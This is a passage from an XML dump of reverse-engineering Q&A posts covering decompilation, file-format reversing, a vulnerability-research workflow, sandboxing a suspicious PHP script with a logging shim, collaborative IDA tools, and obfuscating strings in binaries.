&lt;code&gt;goto&lt;/code&gt;s everywhere), decompilers must reinfer these abstractions based on the behavior of the native code.  This is a difficult process, and many papers have been written on how to infer those abstractions. See &lt;a href=&quot;http://www.cs.wisc.edu/wpis/abstracts/wysinwyx.final.abs.html&quot;&gt;Balakrishnan&lt;/a&gt; and &lt;a href=&quot;http://users.ece.cmu.edu/~aavgerin/papers/tie-ndss-2011.pdf&quot;&gt;Lee&lt;/a&gt; for starters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In contrast, bytecode is easier to decompile because it usually contains enough information to permit &lt;em&gt;type checking&lt;/em&gt;.  As a result, bytecode typically contains explicit abstractions for functions (or methods), variables, and the type of each variable.  The primary abstraction missing in bytecode is high-level control flow.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2013-03-27T17:48:56.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1335" PostTypeId="2" ParentId="1331" CreationDate="2013-03-27T17:52:08.607" Score="3" Body="&lt;p&gt;The academy is very far from industry, which is always many-many years ahead. I think there is nothing 'magical' to reverse engineer file formats. Indeed, I reversed various file formats and the very 1st time I did this I tried to find if there was such a tool. But, there was nothing at that time and I don't think there is anything at all today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible to write a tool that 'automagically' detects some patterns and creates an initial structure to start working on without the need to start from zero but I don't think anything else exists.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-03-27T17:52:08.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1336" PostTypeId="2" ParentId="313" CreationDate="2013-03-27T18:18:10.847" Score="6" Body="&lt;p&gt;This is how I typically do it, although it largely depends on the target/project and it's only how I like to do it myself:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start (probably dumb) fuzzing the application as soon as you have the target.&lt;/li&gt;&#xA;&lt;li&gt;Meanwhile, statically analyse the application in order to understand how it works and, maybe, to find low hanging fruit vulnerabilities.&lt;/li&gt;&#xA;&lt;li&gt;Try to understand if you can make any smarter your fuzzer once you have enough structures and functions discovered in IDA.&lt;/li&gt;&#xA;&lt;li&gt;If you have a hit in your fuzzer, discover the root cause of the problem and if it could be exploitable. If it isn't, nevertheless, it's worth checking in deep the area where the crash happened as that crash is a probable indicator of an interesting area to focus on.&lt;/li&gt;&#xA;&lt;li&gt;If you have a hit while doing static analysis, try to write a simple trigger for it.&lt;/li&gt;&#xA;&lt;li&gt;Focus on the part where the bug exists to continue statically analysing.&lt;/li&gt;&#xA;&lt;li&gt;Once you have 1 true vulnerability found via either by fuzzing or statically analysis, write rules/scripts to find similar vulnerabilities.&lt;/li&gt;&#xA;&lt;li&gt;Possibly write an exploit for it and go back to 2.&lt;/li&gt;&#xA;&lt;li&gt;When tired of finding such vulnerabilities and after understanding the inner workings of the application, try to find logical flaws.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;PS: Reading documentation is also a good way to find &lt;a href=&quot;http://seclists.org/fulldisclosure/2012/Apr/204&quot;&gt;some vulnerabilities&lt;/a&gt;, as well as reading change logs, diff patches, commit messages, etc... if you have access to source code (sometimes you can have partial access to the target's source code, even for closed source applications).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just my 2 cents.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-03-27T18:18:10.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1337" PostTypeId="2" ParentId="1331" CreationDate="2013-03-27T18:58:37.967" Score="10" Body="&lt;p&gt;You don't state the purpose. If you want to fully understand the format and not just automate certain initial aspects of the analysis, it will be very hard to come up with a generic enough tool. This is what domain-specific languages and extensible tools (010 Editor, scripting languages) exist for. I'm not aware of any tools that would &quot;do it all&quot; at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tools such as 010 Editor in fact provide additional useful information such as a histogram (giving clues about the entropy, compression/encryption) and give you the binary templates to refine your knowledge about the file format more and more. The most annoying aspect is how limited the scripting is and that you can't, for example, write plugins (imagine being able to decompress bzip2 or deflate streams and such, something commonly found but not at all supported by 010 Editor). One of the major sore points with me and 010 Editor has been that I hit some syntactic limitations of binary templates to express something vital and had to work around that in weird ways (parametrized &lt;code&gt;struct&lt;/code&gt;s being a major pain), although this is exactly the problem it tries to address with its own &lt;a href=&quot;https://en.wikipedia.org/wiki/Domain-specific_language&quot;&gt;DSL&lt;/a&gt;. I think we're in dire need of a FLOSS solution (and I was in fact looking into &lt;a href=&quot;http://www.lua.org/&quot;&gt;Lua&lt;/a&gt;izing &lt;a href=&quot;http://frhed.sourceforge.net/en/&quot;&gt;frhed&lt;/a&gt; at some point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A file format could be under a layer of encryption or compression and that could be separate per section of the file, not per file. There could be several layers. While I don't want to go as far as to state that it's outright impossible to come up with anything like that, there is a reason why IDA is &lt;em&gt;interactive&lt;/em&gt;, for example. In most RCE tasks even the best heuristics can't replace the skills and experience of a seasoned reverse engineer. From experience I would apply the same to reverse engineering of file formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I, too, reversed some file formats and usually use a combination of writing a parser in a scripting languages on one hand and writing a binary template for 010 Editor on the other hand. The latter provides a nice fallback, because even if the parsing fails, I can go there, investigate what's going on, adjust and re-run. Lather, rinse, repeat ... you get the idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest challenge by far was finding out the more arcane aspects such as integers encoded in 24 bit, sometimes LSB and sometimes MSB first, dates, trees based on &lt;code&gt;xor&lt;/code&gt;ing two indexes from elsewhere, a few bits being used from one byte and a few from another having particular meaning... that stuff. And I really cannot imagine how you would fill those gaps without reverse engineering the &lt;em&gt;code&lt;/em&gt; reading/writing the format originally. Lacking any documentation/standard, it's the best reference you got.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, don't underestimate the power of visualization. Of course a single angle, such as a histogram, only provides little information. But there are plenty of interesting algorithms to apply to unknown data and see structures. &lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-03-27T18:58:37.967" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1338" PostTypeId="1" CreationDate="2013-03-27T19:05:46.343" Score="6" ViewCount="264" Body="&lt;p&gt;What is the largest program that has been analyzed by a semantics-based static binary analysis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By semantics-based, I mean an analysis that examines the meaning of the program, and does not simply perform a computation on the syntax of the program, such as computing an &lt;code&gt;md5sum&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2013-03-27T22:54:35.703" Title="What is the scalability of state of the art static binary analysis techniques?" Tags="|static-analysis|binary-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1339" PostTypeId="2" ParentId="1338" CreationDate="2013-03-27T19:05:46.343" Score="4" Body="&lt;p&gt;The largest static analysis example I am aware of is 32,405 PPC instructions from &lt;a href=&quot;http://www.labri.fr/perso/fleury/download/papers/binary_analysis/long-final-vmcai-11.pdf&quot; rel=&quot;nofollow&quot;&gt;this paper&lt;/a&gt; on CFG recovery.  There is no analysis performed besides recovering the CFG.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2013-03-27T19:05:46.343" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1340" PostTypeId="2" ParentId="1331" CreationDate="2013-03-27T21:28:25.017" Score="3" Body="&lt;p&gt;Not a direct answer to your question, but I guess it could help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been more attempts at analyzing unknown network protocols and I guess some ideas &#xA;and techniques could be applied to analyzing unknown file formats. &#xA;Some of the papers are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://research.microsoft.com/pubs/69364/sysml_114_cameraready.pdf&quot; rel=&quot;nofollow&quot;&gt;Automatically Extracting Fields from Unknown Network Protocols&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://research.microsoft.com/en-us/um/people/helenw/papers/discoverer.pdf&quot; rel=&quot;nofollow&quot;&gt;Automatic Protocol Reverse Engineering from Network Traces&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://research.microsoft.com/en-us/um/people/chguo/ndss07.pdf&quot; rel=&quot;nofollow&quot;&gt;A Generic Application-Level Protocol Analyzer and its Language&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is also &lt;a href=&quot;http://www.netzob.org/&quot; rel=&quot;nofollow&quot;&gt;Netzob&lt;/a&gt; tool:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Netzob is an open source tool for reverse engineering, traffic generation and fuzzing of communication protocols. It allows to infer the message format and the state machine of a protocol through passive and active processes. The model can afterward be used to simulate realistic and controllable trafic. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="304" LastActivityDate="2013-03-27T21:28:25.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1341" PostTypeId="2" ParentId="306" CreationDate="2013-03-27T21:50:06.373" Score="9" Body="&lt;p&gt;Somebody at XKCD fora pasted a link to this &lt;a href=&quot;https://gist.github.com/cincodenada/5246094&quot;&gt;gist&lt;/a&gt; which contains a deobfuscated and annotated source along with some explanations: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The main part of Javascript that drives xkcd's &quot;Time&quot; comic (&lt;a href=&quot;http://xkcd.com/1190/&quot;&gt;http://xkcd.com/1190/&lt;/a&gt;), deobfuscated and annotated. The bulk of the script seems to be an implementation of EventSource - which, while important, is not terribly interesting for our purposes, so I've omitted it here. After some Googling around, I am in fact fairly certain that the EventSource implementation used here is &lt;a href=&quot;https://github.com/Yaffle/EventSource&quot;&gt;https://github.com/Yaffle/EventSource&lt;/a&gt; - after minifying and beautifying that code, it looks very similar to what shows up in time07.min.js.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, it has no magic in it and serves just as a simple way for the server to let the client know when there is a new image. &lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2013-03-27T21:50:06.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1343" PostTypeId="2" ParentId="310" CreationDate="2013-03-27T23:21:18.763" Score="10" Body="&lt;p&gt;I would recommend using virtual machines to test your sample.  If the sample is going to be interacting with other machines (for example, if it sends mail but the mail server is located at mail.example.com) then you will probably want to emulate a two machine setup. If everything is already configured on the machine where your sample will be running (so mail calls are made locally) then you will probably only need one virtual machine.&lt;/p&gt;&#xA;&lt;h2&gt;Set up a Virtual Machine Host Only Network&lt;/h2&gt;&#xA;&lt;p&gt;You can use VMWare if you have it or you can use the &lt;a href=&quot;http://www.virtualbox.org&quot; rel=&quot;noreferrer&quot;&gt;VirtualBox&lt;/a&gt;, which is free. If you use a host only network (&lt;a href=&quot;http://www.vmware.com/support/ws55/doc/ws_net_configurations_hostonly.html&quot; rel=&quot;noreferrer&quot;&gt;VMWare&lt;/a&gt; or &lt;a href=&quot;http://www.virtualbox.org/manual/ch06.html#network_hostonly&quot; rel=&quot;noreferrer&quot;&gt;VirtualBox&lt;/a&gt; instructions) then you can sniff the network traffic of the VMs from within your host, but the traffic will never leave your host.&lt;/p&gt;&#xA;&lt;h2&gt;Before running the sample&lt;/h2&gt;&#xA;&lt;p&gt;If you suspect this php script will change the state of your virtual machine (for example it will drop databases or overwrite files) then I suggest you take a snapshot. This way you can always revert any changes that are made when the script runs. &lt;a href=&quot;http://www.vmware.com/support/ws4/doc/preserve_snapshot_ws.html&quot; rel=&quot;noreferrer&quot;&gt;VMWare&lt;/a&gt; or &lt;a href=&quot;http://www.virtualbox.org/manual/ch01.html#snapshots&quot; rel=&quot;noreferrer&quot;&gt;VirtualBox&lt;/a&gt; instructions.&lt;/p&gt;&#xA;&lt;h2&gt;Running the Sample&lt;/h2&gt;&#xA;&lt;p&gt;Once the virtual network is built, you can run your sample while capturing traffic with a tool like &lt;a href=&quot;http://www.wireshark.org/&quot; rel=&quot;noreferrer&quot;&gt;wireshark&lt;/a&gt;. This will capture all the network traffic&lt;/p&gt;&#xA;&lt;h3&gt;Getting outside feedback&lt;/h3&gt;&#xA;&lt;p&gt;As you described it, your sample probably won't need to communicate with fake services, but if it does, here are a few applications you can look into.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/fakenet/&quot; rel=&quot;noreferrer&quot;&gt;FakeNet&lt;/a&gt; as mentioned by Mick, this is a good solution if you are running on windows XP SP3.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Linux&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.inetsim.org/&quot; rel=&quot;noreferrer&quot;&gt;inetsim&lt;/a&gt; - This will simulate responses for application level protocols such as HTTP, TCP or SMTP. It can also reply to DNS requests.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.honeyd.org/&quot; rel=&quot;noreferrer&quot;&gt;honeyd&lt;/a&gt; - This is ligheter than inetsim but will also simulate responses for application level protocols such as HTTP, TCP or SMTP. It can also reply to DNS requests.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://nkush.blogspot.com/2010/11/fake-arp-daemon.html&quot; rel=&quot;noreferrer&quot;&gt;farpd&lt;/a&gt; - This utility is very useful if you don't know the IP address that will be request.  This application can be used to redirect IP traffic to your virtual machine.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="36" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-03-27T23:21:18.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1344" PostTypeId="2" ParentId="310" CreationDate="2013-03-28T02:34:33.300" Score="5" Body="&lt;p&gt;A more general solution is to use something like &lt;a href=&quot;http://php.net/manual/en/book.runkit.php&quot;&gt;runkit&lt;/a&gt;, a PHP extension to intercept arbitrary function calls. Rather than trying to simulate a network (the safer option for your situation), if you instead knew the complete set of functions that you wanted to prevent from being called, you could simply &lt;code&gt;runkit_function_redefine&lt;/code&gt; each to log a message instead.&lt;/p&gt;&#xA;" OwnerUserId="62" LastActivityDate="2013-03-28T02:34:33.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1345" PostTypeId="2" ParentId="310" CreationDate="2013-03-28T02:58:40.297" Score="3" Body="&lt;p&gt;Since you already have the source file, I believe that there is a simpler and easier approach (as compared to rerouting network traffic on low levels would be to intercept the methods being called.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, identify and replace methods in your php file (remember to make a copy!). For example, if you want to intercept &lt;code&gt;mail()&lt;/code&gt;, you can find &lt;code&gt;mail(&lt;/code&gt; and replace it with &lt;code&gt;shim_mail(&lt;/code&gt;. You can also do so for other &lt;em&gt;interesting&lt;/em&gt; methods such as &lt;code&gt;mysql_connect()&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you finish, add &lt;code&gt;include 'shim.php';&lt;/code&gt; at the top of your file. The &quot;shim&quot; will act as a layer between the php script and the actual method, so you can choose to log it to a text file, allow it to execute, or even point it to a replica database!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;shim.php&lt;/strong&gt;&#xA;    &#xA;&#xA;&lt;pre&gt;&lt;code&gt;$logfile = 'log.txt';&#xA;&#xA;function shim_mysql_connect($server, $username, $password, $new_link = false, $client_flags = 0)&#xA;{&#xA;    file_put_contents($logfile, file_get_contents($logfile) . &quot;\r\nmysql_connect() to &quot; . $server . &quot; with username &quot; . $username . &quot; and password &quot; . $password);&#xA;&#xA;    // intercept the command and point it to the 'honeypot'&#xA;    return mysql_connect('your_new_server', 'username', 'password');&#xA;}&#xA;&#xA;function shim_mail($to, $subject, $message, $additional_headers = '', $additional_parameters = '')&#xA;{&#xA;    file_put_contents($logfile, file_get_contents($logfile) . &quot;\r\nmail() to &quot; . $to . &quot; with subject &quot; . $subject . &quot; and message &quot; . $message);&#xA;&#xA;    // don't actually send an email&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this shim file, you can add functions that you are interested to find out about (simply by copying the same method signature as the original file and printing relevant logs). By observing the log, you can probably find out a lot more about the php script!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(while I was midway composing this, I realized that Daniel W. Steinbrook has also come up with a similar method. My method has a slight advantage that it is simpler without adding new dependencies, but runkit sounds like a more &lt;em&gt;correct&lt;/em&gt; way. Either way, you can simply pick one that works!)&lt;/p&gt;&#xA;" OwnerUserId="171" LastEditorUserId="171" LastEditDate="2013-03-28T08:23:16.773" LastActivityDate="2013-03-28T08:23:16.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1346" PostTypeId="1" AcceptedAnswerId="1355" CreationDate="2013-03-28T09:26:54.353" Score="4" ViewCount="270" Body="&lt;p&gt;Apple developer network site has a small guide about &lt;a href=&quot;https://developer.apple.com/internet/safari/windows_symbols_instructions.html&quot; rel=&quot;nofollow&quot;&gt;setting up debugging symbols server for Safari browser on Windows&lt;/a&gt;.  But it doesn't work. First, the link to actual symbols server &#xA;gets redirected from http to https, but then it just 404s. &#xA;Now, I know that Safari isn't supported on Windows any longer, but I wanted to play with existing version. Any idea if the symbols are actually available somewhere?&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="189" LastEditDate="2013-03-28T09:41:07.653" LastActivityDate="2013-03-28T16:53:55.470" Title="Safari windows debugging symbols" Tags="|debugging-symbols|safari|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1347" PostTypeId="1" AcceptedAnswerId="1354" CreationDate="2013-03-28T09:39:52.443" Score="27" ViewCount="3139" Body="&lt;p&gt;What's a working tool/methodology to work cooperatively on the same binary (if possible in parallel), that is proven to work?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I used various methods long ago to share information with others, but not in parallel:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sending IDB back &amp;amp; forth&lt;/li&gt;&#xA;&lt;li&gt;sharing TXT notes on a repository&lt;/li&gt;&#xA;&lt;li&gt;exporting IDB to IDC and sharing the IDC on a repository&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, none of these were really efficient. I am looking for better methodologies and tools for collaborative work.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="245" LastEditDate="2013-04-17T03:00:31.477" LastActivityDate="2020-05-04T01:48:15.297" Title="Tools to work cooperatively on the same binary" Tags="|tools|disassembly|static-analysis|ida|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1348" PostTypeId="2" ParentId="1347" CreationDate="2013-03-28T09:44:51.767" Score="17" Body="&lt;p&gt;potential (but untested) suggestions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://crowdre.crowdstrike.com&quot;&gt;CrowdRE&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://thunkers.net/~deft/code/toolbag/&quot;&gt;IDA Toolbag&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.zynamics.com/bincrowd.html&quot;&gt;BinCrowd&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.idabook.com/collabreate/&quot;&gt;CollabREate&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-03-28T09:44:51.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1349" PostTypeId="1" AcceptedAnswerId="1350" CreationDate="2013-03-28T10:05:06.293" Score="7" ViewCount="132" Body="&lt;p&gt;It's really a productivity bottleneck when various analysis tools can't share information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's an efficient way to store symbols+comments+structures, so that they can be easily imported into other reversing tools?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I used to rely on SoftIce's IceDump extension to load/save IDA symbols, or load exported MAP symbols from IDA into OllyDbg via gofather+'s GoDup, but nothing recent nor portable.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-03-28T11:17:41.127" LastActivityDate="2013-03-29T11:38:53.230" Title="Which format/tool to store 'basic' informations?" Tags="|disassembly|tools|debuggers|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1350" PostTypeId="2" ParentId="1349" CreationDate="2013-03-28T10:05:06.293" Score="3" Body="&lt;p&gt;A potential tool would be QuarkLabs' &lt;a href=&quot;http://www.quarkslab.com/fr-blog+list+1024&quot; rel=&quot;nofollow&quot;&gt;qb-sync&lt;/a&gt;, which advertises:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Synchronization between IDA and WinDbg, OllyDbg2, GDB&lt;/li&gt;&#xA;&lt;li&gt;Source code available (GNU GPL 3)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="89" LastEditDate="2013-03-29T11:38:53.230" LastActivityDate="2013-03-29T11:38:53.230" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1351" PostTypeId="2" ParentId="1" CreationDate="2013-03-28T13:56:08.510" Score="2" Body="&lt;p&gt;I'm not sure I understand the question but various sandbox solutions(Norman, Androguard) tend to produce a log of events on the system which my give you some idea of the platform and it's state.&#xA;Other than that I'm unaware on any tools which would help you determine system state via static analysis. I use a debugger to answer such questions when possible and manual static analysis when not. &lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2013-03-28T13:56:08.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1352" PostTypeId="1" CreationDate="2013-03-28T14:12:38.157" Score="5" ViewCount="177" Body="&lt;p&gt;Say I have a collection of N executables, where N is large enough to make repetitive manual analysis tedious. I want to process all of these files and extract information about certain function calls, for instance from a malware analysis point of view, knowing what constant arguments were used in calls to &lt;code&gt;OutputDebugString&lt;/code&gt; would be of interest, and I guess for vulnerability research there may be applications, e.g. format strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A dynamic approach would be easiest, but has issues with code coverage and overheads when dealing with malware. I'd prefer a static approach and would be interested if anyone had any experiences to share. I was thinking along the lines of scripting IDA/HexRays to run over each binary, attempt to produce a C file and grep over the output, but this may be rather inefficient.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="189" LastEditDate="2013-03-28T14:19:47.047" LastActivityDate="2013-03-29T19:04:18.833" Title="How to investigate function calls across a batch of targets?" Tags="|decompilation|malware|automation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1353" PostTypeId="2" ParentId="1347" CreationDate="2013-03-28T14:45:17.350" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://dexter.dexlabs.org/&quot;&gt;Dexter&lt;/a&gt; is a static android application analysis tool, which has collaboration features. For more information here is their first public talk about this tool: &lt;a href=&quot;http://www.youtube.com/watch?v=cnfAP0wJMFw&quot;&gt;SIGINT12 - Android Analysis Framework&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2013-03-28T14:45:17.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1354" PostTypeId="2" ParentId="1347" CreationDate="2013-03-28T14:57:50.590" Score="17" Body="&lt;p&gt;Just to expand on @ange's answer, IDA Toolbag is a lightweight solution for collaboration using their &lt;a href=&quot;http://thunkers.net/~deft/code/toolbag/docs.html#Queues&quot; rel=&quot;noreferrer&quot;&gt;&quot;Queues&quot; feature&lt;/a&gt;. I have tested that it does work, and I believe it provides all the features you mentioned in your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ooB8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sax1L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2013-03-28T14:57:50.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1355" PostTypeId="2" ParentId="1346" CreationDate="2013-03-28T16:53:55.470" Score="3" Body="&lt;p&gt;Your best bet is to contact Adam Roben directly for the symbol files. He seems to be the person who put these out 5 years ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find his email and some more information regarding symbol server at the following links.&#xA;&lt;a href=&quot;http://trac.webkit.org/changeset/35512&quot; rel=&quot;nofollow&quot;&gt;http://trac.webkit.org/changeset/35512&lt;/a&gt; &lt;br&gt;&#xA;&lt;a href=&quot;https://lists.webkit.org/pipermail/webkit-dev/2008-August/004741.html&quot; rel=&quot;nofollow&quot;&gt;https://lists.webkit.org/pipermail/webkit-dev/2008-August/004741.html&lt;/a&gt; &lt;br&gt;&#xA;&lt;a href=&quot;http://mac-os-forge.2317878.n4.nabble.com/Safari-for-Windows-symbol-server-updated-td177872.html&quot; rel=&quot;nofollow&quot;&gt;http://mac-os-forge.2317878.n4.nabble.com/Safari-for-Windows-symbol-server-updated-td177872.html&lt;/a&gt; &lt;br&gt;&lt;/p&gt;&#xA;" OwnerUserId="276" LastActivityDate="2013-03-28T16:53:55.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1356" PostTypeId="1" AcceptedAnswerId="1357" CreationDate="2013-03-28T16:55:16.840" Score="9" ViewCount="3527" Body="&lt;p&gt;Text strings are usually easily read in a binary file using any editor that supports ASCII encoding of hexadecimal values. These text snippets can be easily studied and altered by a reverse engineer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What options does a developer have to encrypt these text snippets, and decrypt them, in runtime ?&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="189" LastEditDate="2013-03-29T01:48:16.283" LastActivityDate="2013-03-29T01:48:16.283" Title="Encrypting text in binary files" Tags="|obfuscation|c|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1357" PostTypeId="2" ParentId="1356" CreationDate="2013-03-28T17:34:49.850" Score="8" Body="&lt;p&gt;Some options which may or may not be applicable depending on your needs:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Avoid&lt;/strong&gt; using strings to leak out interesting information when possible. For example if you are using strings to display error information or logging information, this can give any reverse engineer valuable details as to what might be going on in your application. Instead replace these strings with numerical error codes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Obfuscate&lt;/strong&gt; all strings with some kind of symmetric algorithm like a simple XOR routine, or a crypto algorithm like AES. This will prevent the string from being discovered during a casual examination of your binary. I say 'obfuscate' as you will presumably be storing the crypto/xor key in your binary. Any reverse engineer who tries a little harder will surely recover the obfuscated strings.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Encrypt&lt;/strong&gt; all strings (make all the strings get linked into a separate section in your executable and encrypt this section) and store the decryption key outside of your binary. You could store the key remotely and restrict access server side where possible. So if a reverse engineer does get your binary they &lt;em&gt;may&lt;/em&gt; not be able to access the key. The decryption key could also be generated dynamically on the users computer based off several predictable factors known about that users machine, essentially only allowing the encrypted data to be decrypted when run on this specific machine (or type of machine). This technique has been used by government malware to encrypt payloads for specific targets (If I can remember the link to the paper I read this in I will update answer).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Get Creative&lt;/strong&gt;, Store all strings in a foreign language and then at run time use an online translation service to translate the string back to your expected native language. This is of course not very practical.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Of course if your strings do get decoded/decrypted at run time then a reverse engineer could just dump the process from memory in order to see the strings. For this reason it may be best to decode/decrypt individual strings only when needed (possibly storing the decoded string in a temporary location and zeroing it after use).&lt;/p&gt;&#xA;" OwnerUserId="123" LastEditorUserId="123" LastEditDate="2013-03-28T18:27:08.297" LastActivityDate="2013-03-28T18:27:08.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
